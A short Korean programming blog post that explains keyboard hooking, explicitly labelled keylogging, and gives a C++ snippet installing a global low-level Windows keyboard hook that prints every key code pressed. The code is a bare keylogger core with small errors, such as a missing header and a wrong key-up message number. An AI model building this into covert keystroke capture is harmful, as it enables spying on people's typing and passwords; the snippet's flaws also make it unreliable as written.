-
[C/C++] 키보드 후킹 (키로깅)프로그래밍/C++ 2019. 2. 18. 12:00728x90
C/C++은 C#와는 다르게 후킹 과정이 굉장히 간단하다.
#include <Windows.h> HHOOK hHook; LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) { if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) { PKBDLLHOOKSTRUCT pKey = (PKBDLLHOOKSTRUCT)lParam; //Code가 0보다 클 때에만 처리해야합니다. 아닐 경우엔 메세지를 흘려보냅니다.(이유는 잘 모릅니다.) //wParam==256부분은, 키보드를 누르는 이벤트와 떼는 이벤트 중 누르는 이벤트만을 통과시킵니다. //만약 ==267로 바꿀 경우, 키보드를 땔 떼 코드가 실행됩니다. if (nCode >= 0 && (int)wParam == 256) { //lParam포인터가 가리키는 곳에서 키코드를 읽어 keyCheck로 보냅니다. cout << pKey->vkCode << " "; } } CallNextHookEx(hHook, nCode, wParam, lParam); return 0; } void SetHook() { HMODULE hInstance = GetModuleHandle(NULL); hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, hInstance, NULL); } void UnHook() { UnhookWindowsHookEx(hHook); } int main(){ SetHook(); MSG msg; GetMessage(&msg, NULL, NULL, NULL); UnHook(); }
728x90댓글